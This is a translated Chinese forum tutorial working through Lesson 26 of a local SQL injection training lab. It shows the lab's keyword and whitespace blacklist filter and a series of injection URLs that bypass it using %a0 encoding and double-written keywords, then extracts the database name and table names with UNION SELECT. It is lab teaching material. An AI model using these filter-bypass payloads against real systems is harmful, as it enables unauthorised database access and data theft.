首页
社区
课程
招聘
[翻译]如何手动绕过SQL注入过滤器?(二)
发表于: 2017-7-11 18:04 6300

[翻译]如何手动绕过SQL注入过滤器?(二)

2017-7-11 18:04
6300

Lesson 26


本节延续上一节(传送门)。进入实验室后,你会发现本次面临着比上一回更大的挑战,因为空格、注释、ORAND全被过滤掉了。不过,和上一回相同,我们还是通过寻找它们的替代品来绕过该过滤器。

function blacklist($id)

$id=preg_replace('/OR/i',"",$id);        //strip out OR (non case sensitive)

$id=preg_replace('/AND/i',"",$id);        //strip out AND (non case sensitive)

$id=preg_replace('/[\/\*]/',"",$id);        //strip out /*

$id=preg_replace('/[-]/',"",$id);        //strip out -

$id=preg_replace('/[#]/',"",$id);        //strip out #

$id=preg_replace('/[\s]/',"",$id);        //strip out space

$id=preg_replace('/[\/\\\\]/',"",$id);        //strip out slashes


Blanks=('%09', '%0A', '%0B', '%0C', '%0D', '%a0')

首先打开浏览器,输入http://localhost:81/sqli/Less-26/?id=1'%a0%26%26'1=1(注:具体以个人配置为准)

由上图可以看出,使用URL编码 %a0 我们已经成功地解决了空格的问题。

如果你已经明白了上面的方法,那么接下来,我们会对SQL查询语句做一点小小的改动以获取数据库信息。

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,2,3%a0%26%26'1=1


由上图可以看出,显示的是第一列和第二列。(注:此图为译者所截,原文此处有误)

还是先获取数据库名:

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0%26%26'1=1

由上图可以看出,数据库名为'security'。

接着来看看数据库中有哪些表:

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0%26%26'1=1


由上图可以看出,当前的表名有:

T1: emails


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 21
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
有一个不太明白的地方,在前面几节的最后,如果要查看username中的user列,只需要from  users,而这里却在from  users后面添加了where,(假如按照前面几节的方法,在less26是无法显示user中的具体内容的,而按这一节的方法添加了where之后是可以的),那这个where起到了什么作用呢?望前辈指点迷津。
2018-2-8 14:51
0
游客
登录 | 注册 方可回帖
返回
//